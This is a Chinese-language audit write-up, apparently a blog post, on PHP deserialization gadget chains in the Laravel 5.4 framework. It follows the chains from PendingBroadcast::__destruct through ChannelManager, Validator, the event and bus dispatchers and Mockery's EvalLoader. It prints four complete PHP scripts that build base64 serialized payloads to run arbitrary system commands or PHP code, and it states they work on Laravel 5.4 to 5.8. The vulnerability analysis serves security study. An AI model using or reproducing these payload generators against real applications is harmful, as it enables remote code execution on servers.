php 版本 7.3;
composer create-project --prefer-dist laravel/laravel laravel5.5 "5.4.*"
下载的版本应该是 5.4.30的。
添加路由
添加控制器
全局搜索 __destruct()
在 PendingBroadcast.php
中
这里的利用思路有两个,一个找 __call
一个找可利用的 dispatch
方法。
找到一个 Faker\Generator.php
,眼熟不?yii2里一模一样
看似一切都可控,控制 $this->formatters[$formatter]
为执行的函数,用 $this->event
控制命令。
但是
这里直接给掐掉了。
我看其他师傅复现的laravel5.4
这个类里似乎根本没有这个方法。
找其他可用的 __call
方法
在Illuminate/Support/Manager.php
跟进driver()
然后一路看下去。
注意这里,存在可变函数,可以RCE,但是现在不可控的变量 是 $driver
会去看$driver
的获取,在 driver()
方法的第一行
跟进
这是一个抽象方法,需要找他的继承类里的重写。
在Illuminate/Notifications/ChannelManager.php
中
<?php namespace Illuminate\Broadcasting { use Illuminate\Notifications\ChannelManager; class PendingBroadcast { protected $events; public function __construct($cmd) { $this->events = new ChannelManager($cmd); } } echo base64_encode(serialize(new PendingBroadcast($argv[1]))); } namespace Illuminate\Notifications { class ChannelManager { protected $app; protected $defaultChannel; protected $customCreators; public function __construct($cmd) { $this->app = $cmd; $this->customCreators = ['jiang' => 'system']; $this->defaultChannel = 'jiang'; } } }
虽然有很多报错,但命令确实是执行了。
$argv
是php
命令行下的参数。 $argv[0]
是我们的脚本名,$argv[1]
即是我们传入的命令。
不弹计算器的话,执行结果应该也是在response
的第一行,web页面里只会显示debug 的错误,源码中会有。
继续找其他可利用的__call
。
Illuminate/Validation/Validator.php
跟进一下这个方法。
$callback可控不?调试看一下$rule 的获取
也很好理解,我们传入的 dispatch刚好八字符,从第八位开始也就是空,传入后,不进入第一个if,进入第二个分支也没有改变什么,最后返回空。
那么我们设置 $this->extensions值为[''=>'system'] ,就可以rce了。
<?php namespace Illuminate\Broadcasting { use Illuminate\Validation\Validator; class PendingBroadcast { protected $events; protected $event; public function __construct($cmd) { $this->events = new Validator(); $this->event=$cmd; } } echo base64_encode(serialize(new PendingBroadcast($argv[1]))); } namespace Illuminate\Validation { class Validator { public $extensions = [''=>'system']; } }
__call
方法没找到了,找 dispatch
方法吧
Illuminate/Events/Dispatcher.php
又是可变函数,看上面参数如何控制。
跟进parseEventAndPayload()
$payload
一开始我们没有传入值,这里也没有控制点,这个参数并不可控。
再看$listener
是否可控。
跟进 getListerners()
$listeners
可以赋值为 $this->liseners[$evenName]
,$eventName
是传入的 $event
值,是可控的。最后返回也是会遍历的,不去管 getWildcardListeners()
方法。而且我们利用system
函数rce
的时候,是不可能存在system
类名的。
system
支持两个参数。
<?php namespace Illuminate\Broadcasting { use Illuminate\Events\Dispatcher; class PendingBroadcast { protected $events; protected $event; public function __construct($cmd) { $this->events = new Dispatcher($cmd); $this->event=$cmd; } } echo base64_encode(serialize(new PendingBroadcast($argv[1]))); } namespace Illuminate\Events { class Dispatcher { protected $listeners; public function __construct($event){ $this->listeners=[$event=>['system']]; } } }
继续找 dispatch
方法
Illuminate/Bus/Dispatcher.php
看起来像是执行命令的点。
跟进一下dispatchToQueue()
似乎确实可以命令执行,
但是这里不可控的点是$connection
变量,看一下 $command
变量的获取。
跟进一下 commandShouldBeQueued()
方法
判断 $command
是否是 ShouldQueue
的实现。
我们这里传入的 $command
必须是 ShouldQueue
接口的一个实现。而且$command
类中包含connection
属性。
找找看喽。
都没有哈哈哈。但其实我们只找了一点,但没全找。当类是 use 了 trait类,同样可以访问其属性。
这样我们就控制了call_user_func
的参数。
<?php namespace Illuminate\Bus{ class Dispatcher{ protected $queueResolver; public function __construct(){ $this->queueResolver = "system"; } } } namespace Illuminate\Broadcasting{ use Illuminate\Bus\Dispatcher; class BroadcastEvent{ public $connection; public function __construct($cmd){ $this->connection = $cmd; } } class PendingBroadcast{ protected $events; protected $event; public function __construct($event){ $this->events = new Dispatcher(); $this->event = new BroadcastEvent($event); } } echo base64_encode(serialize(new PendingBroadcast($argv[1]))); } ?>
这里 call_user_func 的方法名可控,可以调用任意类的方法,看别的师傅有用到,这里也整理一下吧。
Mockery/Loader/EvalLoader.php
这里拼接了 $definition->getCode();
这里可控,如果不进入上面的if
分支,就可以执行任意php代码了。
如果 类没有被定义,且不自动加载类,那么我们就绕过了上面的if
,跟进getClassName()
找可利用的 getName
方法。
这个就比较多了
Session\Store
类中
<?php namespace Illuminate\Bus{ use Mockery\Loader\EvalLoader; class Dispatcher{ protected $queueResolver; public function __construct(){ $this->queueResolver = [new EvalLoader(),'load']; } } } namespace Illuminate\Broadcasting{ use Illuminate\Bus\Dispatcher; use Mockery\Generator\MockDefinition; class BroadcastEvent{ public $connection; public function __construct($code){ $this->connection = new MockDefinition($code); } } class PendingBroadcast{ protected $events; protected $event; public function __construct($event){ $this->events = new Dispatcher(); $this->event = new BroadcastEvent($event); } } echo base64_encode(serialize(new PendingBroadcast($argv[1]))); } namespace Mockery\Loader{ class EvalLoader{} } namespace Mockery\Generator{ use Illuminate\Session\Store; class MockDefinition{ protected $config; protected $code; public function __construct($code){ $this->config=new Store(); $this->code=$code; } } } namespace Illuminate\Session{ class Store{ protected $name='jiang';//类不存在就好哈哈 } } ?>
这条链子看起来非常曲折,看一下调用栈吧。
到load
这里,又因为这个方法需要的参数是一个 MockDefinition
的对象,所以我们需要让 $connection
为这个对象,
这个对象的 getClassName
又去其他类的 getName
方法。思路要清晰啊。
虽说审计的 laravel5.4
的代码 ,但这4条链子在,laravel5.4-5.8
(仅测试这几个版本)中都是可以打通的。
后续审计 5.7 5.8
的框架就不再细说这些地方的。